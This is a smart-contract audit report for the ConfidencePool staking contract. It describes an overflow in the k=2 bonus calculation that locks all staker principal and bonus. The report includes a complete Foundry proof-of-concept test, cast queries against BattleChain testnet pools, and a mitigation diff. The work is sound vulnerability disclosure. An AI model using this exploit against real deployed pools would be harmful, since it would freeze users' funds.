FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: low

Extreme pre-risk stake can make risk-window observation overflow and erase all bonus payouts

Author Revealed upon completion

Root + Impact

Description

Normal behavior is that claimExpired() snapshots the pool at expiry, resolves EXPIRED, and lets every eligible staker withdraw principal plus their k=2 time-weighted bonus share.

The issue is that the intended score is amount * (T - entryTime)^2, but _bonusShare() reconstructs it from large absolute Unix timestamp terms. The positive and negative terms are meant to cancel, but Solidity must first build T * T * snapshotTotalStaked + snapshotSumStakeTimeSq. That intermediate can overflow even when the intended final (T - entryTime)^2 score is far below type(uint256).max.

function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
uint256 newEntry = block.timestamp;
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
@> uint256 contribTime = received * newEntry;
@> uint256 contribTimeSq = received * newEntry * newEntry;
@> eligibleStake[msg.sender] += received;
@> userSumStakeTime[msg.sender] += contribTime;
@> userSumStakeTimeSq[msg.sender] += contribTimeSq;
@> totalEligibleStake += received;
@> sumStakeTime += contribTime;
@> sumStakeTimeSq += contribTimeSq;
}
function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
@> sumStakeTime = totalEligibleStake * t;
@> sumStakeTimeSq = totalEligibleStake * t * t;
emit RiskWindowStarted(t);
}
function claimExpired() external nonReentrant {
if (block.timestamp < expiry) revert PoolNotExpired();
...
if (outcome == PoolStates.Outcome.UNRESOLVED) {
IAttackRegistry.ContractState state = _observePoolState();
@> snapshotTotalStaked = totalEligibleStake;
@> snapshotTotalBonus = totalBonus;
@> snapshotSumStakeTime = sumStakeTime;
@> snapshotSumStakeTimeSq = sumStakeTimeSq;
...
@> outcome = PoolStates.Outcome.EXPIRED;
@> outcomeFlaggedAt = expiry;
@> claimsStarted = true;
}
uint256 userEligible = eligibleStake[msg.sender];
@> if (userEligible == 0) {
@> return;
@> }
...
@> uint256 bonusShare = _bonusShare(msg.sender, userEligible);
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
if (riskWindowStart == 0) return 0;
uint256 T = outcomeFlaggedAt;
@> uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
@> uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
if (globalScore == 0) {
if (snapshotTotalStaked == 0) return 0;
return Math.mulDiv(userEligible, snapshotTotalBonus, snapshotTotalStaked);
}
return Math.mulDiv(userScore, snapshotTotalBonus, globalScore);
}

The factory allowlist only checks that the token was owner-approved. The repository compatibility section says standard ERC20 tokens are supported and excludes fee-on-transfer/rebasing tokens, but it does not cap token decimals, raw supply, or maximum aggregate raw stake.

function createPool(
address agreement,
address stakeToken,
uint256 expiry,
uint256 minStake,
address recoveryAddress,
address[] calldata accounts
) external whenNotPaused returns (address pool) {
if (agreement == address(0) || stakeToken == address(0)) revert ZeroAddress();
if (recoveryAddress == address(0)) revert ZeroAddress();
@> if (!allowedStakeToken[stakeToken]) revert StakeTokenNotAllowed();
...
}
function setStakeTokenAllowed(address token, bool allowed) external onlyOwner {
if (token == address(0)) revert ZeroAddress();
@> allowedStakeToken[token] = allowed;
emit StakeTokenAllowedUpdated(token, allowed);
}

At the PoC timestamp and a 31-day expiry, the first overflowing aggregate is:

riskWindowStart = 1750086400
expiry = 1752678400
raw stake = 18874988441203905396930864743654449404832323599220105460851
display amount = 0.018874988441203906 tokens at 60 decimals

The intended global score rawStake * (expiry - riskWindowStart)^2 is still far below type(uint256).max; the revert is caused by the implementation's absolute-timestamp expansion.

This is related to the existing L-04 arithmetic family, but the settlement path is materially stronger: risk-window observation succeeds, a zero-stake caller finalizes EXPIRED without entering _bonusShare(), claimsStarted latches finality, and then every real staker claim reverts in _bonusShare().

Risk

Likelihood:

Reason 1: This occurs when a standard high-decimal ERC20, or any standard ERC20 with sufficiently large raw balances, is allowlisted as a stake token.

Reason 2: This occurs through normal public calls after allowlisting: stake before active risk, stake once during UNDER_ATTACK to seal the risk window, and call claimExpired() at expiry from an address with no stake.

Reason 3: Current observed BattleChain testnet pools use 18-decimal stake tokens, so this is not live-exploitable on those discovered deployments today.

Impact:

Impact 1: All staker principal remains locked because every staker's claimExpired() reverts before balances are deleted or tokens are transferred.

Impact 2: The sponsor bonus remains locked because sweepUnclaimedBonus() treats principal plus bonus as reserved after the snapshotted EXPIRED outcome.

Impact 3: The moderator cannot correct the outcome after the zero-stake resolver sets claimsStarted = true.

Proof of Concept

Create test/unit/ConfidencePool.k2IntermediateOverflow.poc.t.sol with the following full test contract:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
/// @notice Temporary audit-phase PoC token; ignore for production code review.
contract HighDecimalsERC20 is ERC20 {
constructor() ERC20("High Decimals", "HDEC") {}
function decimals() public pure override returns (uint8) {
return 60;
}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract ConfidencePoolK2IntermediateOverflowPoC is Test {
uint256 internal constant BASE_TIMESTAMP = 1_750_000_000;
uint256 internal constant MIN_STAKE = 10 ** 57; // 0.001 token at 60 decimals.
uint256 internal constant BONUS = 100 * 10 ** 60;
address internal constant DEFAULT_SCOPE_ACCOUNT = address(0xC0FFEE);
HighDecimalsERC20 internal token;
MockAttackRegistry internal attackRegistry;
MockSafeHarborRegistry internal safeHarborRegistry;
MockAgreement internal agreementContract;
ConfidencePool internal pool;
address internal agreement;
address internal moderator = makeAddr("moderator");
address internal recovery = makeAddr("recovery");
address internal alice = makeAddr("alice");
address internal attacker = makeAddr("attacker");
address internal carol = makeAddr("carol");
address internal resolver = makeAddr("resolver");
function setUp() public {
vm.warp(BASE_TIMESTAMP);
token = new HighDecimalsERC20();
attackRegistry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry();
agreementContract = new MockAgreement(address(this));
agreement = address(agreementContract);
agreementContract.setContractInScope(DEFAULT_SCOPE_ACCOUNT, true);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(agreement, true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
address[] memory scope = new address[](1);
scope[0] = DEFAULT_SCOPE_ACCOUNT;
ConfidencePool implementation = new ConfidencePool();
pool = ConfidencePool(Clones.clone(address(implementation)));
pool.initialize(
agreement,
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 31 days,
MIN_STAKE,
recovery,
address(this),
scope
);
}
/*
* ## Proof Explanation
*
* testAbsoluteTimestampExpansionCanFinalizeThenFreezeAllStakerClaims proves that the k=2
* formula can overflow only because it expands `(T - entry)^2` into absolute Unix timestamp
* terms:
*
* 1. A high-decimal but otherwise standard ERC20 is used as an allowlisted stake token.
* 2. Alice deposits enough raw units that risk-window observation still fits.
* 3. The attacker deposits only `MIN_STAKE` after UNDER_ATTACK, which seals
* `riskWindowStart` and pushes total stake over the later `T^2 * total + start^2 * total`
* overflow boundary.
* 4. At expiry, a zero-stake resolver calls `claimExpired()`. This snapshots and permanently
* finalizes EXPIRED without calling `_bonusShare()`.
* 5. Alice's and the attacker's later claims both revert with arithmetic panic 0x11 when
* `_bonusShare()` computes the global absolute-timestamp `plus` term.
* 6. Withdrawals and moderator correction are unavailable after finality, and
* `sweepUnclaimedBonus()` sees all principal plus bonus as reserved.
*
* The asserted final pool balance proves the complete principal and bonus balance remains
* trapped after finality.
*/
function testAbsoluteTimestampExpansionCanFinalizeThenFreezeAllStakerClaims() external {
assertEq(token.decimals(), 60, "PoC uses a standard high-decimal ERC20");
uint256 riskStart = block.timestamp + 1 days;
uint256 expiryTs = pool.expiry();
uint256 denom = expiryTs * expiryTs + riskStart * riskStart;
uint256 overflowingTotalStake = type(uint256).max / denom + 1;
uint256 honestStake = overflowingTotalStake - MIN_STAKE;
assertLt(overflowingTotalStake, 2 * 10 ** 58, "less than 0.02 displayed tokens");
assertGt(honestStake, MIN_STAKE, "honest stake dominates the poison stake");
assertLe(honestStake * riskStart * riskStart, type(uint256).max, "risk observation still fits");
_stake(alice, honestStake);
_contributeBonus(carol, BONUS);
vm.warp(riskStart);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
_stake(attacker, MIN_STAKE);
assertEq(pool.riskWindowStart(), riskStart, "risk observation succeeded");
assertEq(pool.totalEligibleStake(), overflowingTotalStake, "aggregate stake crosses later overflow boundary");
assertEq(token.balanceOf(address(pool)), overflowingTotalStake + BONUS, "pool holds all principal and bonus");
vm.warp(expiryTs);
vm.prank(resolver);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED), "zero-stake resolver finalized");
assertTrue(pool.claimsStarted(), "finality latch prevents moderator correction");
assertEq(pool.snapshotTotalStaked(), overflowingTotalStake, "overflowing total was snapshotted");
assertEq(pool.snapshotTotalBonus(), BONUS, "bonus was snapshotted");
vm.prank(alice);
vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11));
pool.claimExpired();
vm.prank(attacker);
vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11));
pool.claimExpired();
vm.prank(alice);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
pool.withdraw();
vm.prank(moderator);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.expectRevert(IConfidencePool.NothingToSweep.selector);
pool.sweepUnclaimedBonus();
assertEq(
token.balanceOf(address(pool)),
overflowingTotalStake + BONUS,
"all principal and bonus remain trapped after failed claims"
);
assertEq(token.balanceOf(alice), 0, "honest staker cannot recover principal");
assertEq(token.balanceOf(attacker), 0, "poisoning staker cannot recover principal either");
assertEq(token.balanceOf(recovery), 0, "bonus cannot be swept because it is reserved");
}
function _stake(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _contributeBonus(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.contributeBonus(amount);
vm.stopPrank();
}
}

Run:

forge test --match-path test/unit/ConfidencePool.k2IntermediateOverflow.poc.t.sol --skip test/unit/ConfidencePoolFactory.implementationProvenance.poc.t.sol -vvv

Observed result:

Ran 1 test for test/unit/ConfidencePool.k2IntermediateOverflow.poc.t.sol:ConfidencePoolK2IntermediateOverflowPoC
[PASS] testAbsoluteTimestampExpansionCanFinalizeThenFreezeAllStakerClaims() (gas: 684762)
Suite result: ok. 1 passed; 0 failed; 0 skipped

Arithmetic boundary check used by the PoC:

riskWindowStart = 1750086400
expiry = 1752678400
raw threshold = 18874988441203905396930864743654449404832323599220105460851
display tokens = 0.018874988441203906 at 60 decimals

BattleChain testnet check:

cast logs --rpc-url "$BATTLECHAIN_TESTNET_RPC" \
--from-block 10000 \
--to-block latest \
"PoolCreated(address,address,address,uint256,uint256,address,address,address)"
cast call --rpc-url "$BATTLECHAIN_TESTNET_RPC" <stakeToken> "decimals()(uint8)"
cast call --rpc-url "$BATTLECHAIN_TESTNET_RPC" <pool> "outcome()(uint8)"

Observed PoolCreated logs on BattleChain testnet:

pool stakeToken decimals outcome
0x1892f011d853D6CA5Cf930143307a8E7dae27811 0x12EA23f5600d831cEE92cdbfA10F534a5e7BEF39 18 2 (CORRUPTED)
0xfBd65230c49e9eF81a6f5a8eE56F4DbdBcB82C89 0x17D6Ac962762398EA7cA4734D2377537E2c3D981 18 1 (SURVIVED)
0x656EcA45881090E89bf71fFa44561C9F563211A2 0x5196eFCd15af99D97958EDD476fbE43208c3b483 18 1 (SURVIVED)

The same PoolCreated query against BattleChain mainnet returned no logs. This confirms the ConfidencePool creation path is deployed on BattleChain testnet, but the discovered live/testnet pools are not currently in the vulnerable high-decimal configuration. The live exploit condition is a deployed ConfidencePool using this code with an allowlisted high-decimal or otherwise very large-raw-supply standard ERC20.

Recommended Mitigation

Use timestamps relative to riskWindowStart for all k=2 accounting and add a raw aggregate stake bound that guarantees settlement intermediates fit through expiry. A decimals cap alone is incomplete because decimals() is metadata and does not bound raw balances.

- uint256 contribTime = received * newEntry;
- uint256 contribTimeSq = received * newEntry * newEntry;
+ uint256 entry = riskWindowStart == 0 ? 0 : newEntry - riskWindowStart;
+ uint256 contribTime = received * entry;
+ uint256 contribTimeSq = received * entry * entry;
- sumStakeTime = totalEligibleStake * t;
- sumStakeTimeSq = totalEligibleStake * t * t;
+ sumStakeTime = 0;
+ sumStakeTimeSq = 0;
- uint256 T = outcomeFlaggedAt;
+ uint256 T = outcomeFlaggedAt - riskWindowStart;
- uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
+ uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
+ if (totalEligibleStake + received > maxRawStakeForExpiry(expiry)) {
+ revert StakeCapExceeded();
+ }

The actual patch should update _clampUserSums() consistently with the new relative-time representation so pre-risk deposits are represented as entering at offset zero once the risk window starts.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!